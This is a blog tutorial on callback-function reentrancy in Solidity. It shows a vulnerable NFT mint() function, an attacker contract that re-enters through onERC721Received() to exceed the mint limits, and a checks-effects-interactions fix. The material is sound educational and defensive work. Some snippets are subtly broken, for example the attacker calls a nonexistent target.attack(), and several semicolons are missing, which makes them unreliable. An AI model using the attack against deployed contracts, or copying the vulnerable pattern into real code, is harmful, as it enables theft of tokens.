Published on

Callback-Function Reentrancy Attacks in Solidity

Reenter smart contracts via standardized callbacks

Authors

In one of my previous posts we've explored the simplest type of reentrancy - Single-Function Reentrancy attacks. If you haven't read this one, I highly recommend doing so, because it serves as a foundation for articles like this one. In this port we'll be looking at another but very similar reentrancy using callback functions that we can find in various standardized ERC tokens.

Understanding callbacks

Let's dive right into it. The first thing we need to understand is what we're referring to in this article when we say "callback function", If you happen to have programming experience in any other language, chances are you're familiar with the concept of callback functions, specifically in the context of asynchronous programming.

Just to give a brief example, in a language like ECMAScript, it's very common to pass callback functions to tasks that might finish later at runtime. Below is a code snippet that registers a click handler on a DOM object via browser APIs:

let somebutton = document.querySelector("#button")

somebutton.on("click", () => {
  // do something here
})

The inline function here is a callback that gets executed every time the button gets clicked. At the end of the day, this is what your favourite front-end framework is doing in one way or another.

One thing that's important to know though is that callbacks don't have to be executed asynchronously. As a matter of fact, there's really no indicator in the code above that it's asynchronous. .on() might execute some tasks and then simply execute your provided callback last in synchronous fashion.

Anyways, this was just a tiny detour. Let's go back to why you're here.

Callbacks in Smart Contracts

In my post about Single-Function Reentrancy, we've already learned about a built-in callback that comes with Solidity - receive(). Recall that, when a smart contract implements receive() it gets called every time it receives ETH through send(), transfer() or call().

While receive() is a built-in language feature and gets called implicitly, we can add custom callback functionality that goes beyond basic ETH transfers to our contracts as necessary. In fact, there are a bunch of EIPs out there that extend widely used token standards like ERC20 to add a similar callback handling to them.

Let's take a look at a few.

ERC223

ERC223 is a token standard that extends ERC20 with a tokenReceived() callback, or "hook", that enables contracts to accept or decline tokens that are sent to them. Here's what the transfer() function of an ERC223 token looks like:

function transfer(address _to, uint256 _amount, bytes calldata _data) public override returns (bool success) {
  balances[msg.sender] -= _amount;
  balances[_to] += _amount;

  if (isContract(_to)) {
    IERC233Recipient(_to).tokenReceived(msg.sender, _amount, _data); 
  }
  emit Transfer(msg.sender, _to, _amount);
  emit TransferData(_data);
  return true;
}

Notice how it checks whether the recipient is a contract and if it's the case, it'll attempt to call tokenReceived() on it. Another thing to notice is that there's an additional bytes calldata _data parameter. You can think of it as an equivalent to the calldata you're applying when doing a native .call().

So in other words, tokenReceived(to, amount, data) is like a receive() for ERC20 tokens.

ERC677

ERC677 is similar to ERC223 in the sense that it adds a callback to its standard so that receiver contracts can intercept any transaction that sends tokens to them. The major difference here though is that, instead of having a transfer() function with custom functionality (which breaks compatiblity with standard ERC20 tokens), it introduces a new transferAndCall() function which first does a plain old ERC20 transfer() and then attempts to execute the onTokenTransfer() callback on the receiver.

function transferAndCall(address _to, uint256 _amount, bytes calldata _data) public override returns (bool success) {
  super.transfer(_to, _amount); 
  emit Transfer(msg.sender, _to, _amount);

  if (isContract(_to)) {
    ERC677Receiver(_to).onTokenTransfer(msg.sender, _amount, _data); 
  }
  return true;
}

Notice that if transferAndCall() reverts due to the receiver not implementing onTokenTransfer(), one can just fallback to transfer(), so this stays ERC20 backwards compatible.

There are more standards that add callbacks one can hook into, but the basic idea is the same. If you want to check out more such cases, have a look at ERC777, ERC721 or ERC1363.

Now how exactly do these allow for reentrancy?

Attacking with Callback-Function Reentrancy

As you've learned in the previous post about Single-Function Reentrancy, reentrancy can happen when calling an external contract which can then call back into the caller contract. Here's the withdraw() function we've exploited:

function withdraw() external {
  if (balances[msg.sender] == 0) {
    revert NothingToWithdraw();
  }
  uint256 balance = balances[msg.sender];
  (bool success, ) = address(msg.sender).call{value: balance}("");
  if (!success) {
    revert FailedToWithdraw();
  }
  balances[msg.sender] = 0; 
}

Now imagine, instead of performing a .call() to msg.sender to send ETH, imagine this was one of the ERC tokens mentioned above. For example, below is a simplified ERC721 contract, that inherits from OpenZeppelin's ERC721 implementation:

contract SomeNFT is ERC721, ERC721Enumerable {

  uint256 private counter;
  mapping (address => bool) minted;

  constructor() ERC721("SomeNFT", "SNFT") {}

  function mint() external payable {
    if (minted[msg.sender]) { revert OnlyOnePerAccount() }
    if (totalSupply == 10) { revert NoMoreTokens() }
    uint256 tokenId = counter;
    counter++;
    _safeMint(msg.sender, tokenId);
    minted[msg.sender] = true;
  }
}

There's nothing fancy happening here. SomeNFT has a mint() function for anyone to call. It ensures only one token can be minted per account and it also ensures that no more than ten can be minted in total. _safeMint() is a function provided by OpenZeppelin's ERC721 implementation.

However, the devil is in the details. There's two things here, that in combination can be use for an attack:

  1. There's no CEI-Pattern applied, which potentially can be exploited via reentrancy
  2. Turns out _safeMint() makes use of .onERC721Received(), which is similar to the callback functions discussed earlier

You might already see where this is going. Essentially, we can perform the same attack that we've done in Single-Function Reentrancy, just that we'll use onERC721Received() instead of receive().

Here's what an attacker contract could look like:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {SomeNFT} from "./SomeNFT.sol";

contract Attacker {
  SomeNFT public target;

  constructor(SomeNFT _target) {
    target = _target
  }

  function onERC721Received(
    address operator, 
    address from, 
    uint256 tokenId, 
    bytes calldata data
  ) external returns(bytes4) {
    if (target.totalSupply() < 10) {
      target.attack();
    }
  }

  function attack() external payable {
    target.mint();
  }
}

All the attacker has to do is call mint() on the token contract, which will then mint the token, which results in it calling onERC721Received(), which then calls attack() again. And because SomeNFT doesn't use CEI inside its mint() function, this happens as long as the token's total supply is below 10. Only when all available tokens are minted does it store the minted flag for the attacker.

Protecting against Callback-Function Reentrancy

Since the underlying exploit is exactly the same as the one discussed in Single-Function Reetrancy, the measures to protect against such attacks are pretty much the same.

Remember that the only difference here is that we don't callback into the vulnerable contract via receive() but via some token callback that the vulnerable contract calls for us. In other words, we either make use of ReentrancyGuard, or apply the CEI-Pattern (or both, but one of them would be enough here).

Here's a version of mint() that is not vulnerable to the attack:

function mint() external payable {
  if (minted[msg.sender]) { revert OnlyOnePerAccount() }
  if (totalSupply == 10) { revert NoMoreTokens() }
  uint256 tokenId = counter;
  minted[msg.sender] = true; // flagging here prevents reentrancy
  counter++;
  _safeMint(msg.sender, tokenId);
}

Conclusion

We've seen that there are multiple callback functions that can be exploited, so it's important to always keep in mind, that reentrancy is possible not only when perfoming a .call() on an external contract, but also through any other interaction with an external contract (like the callback back functions discussed above).

I hope this was useful. Make sure to follow me on X for more updates.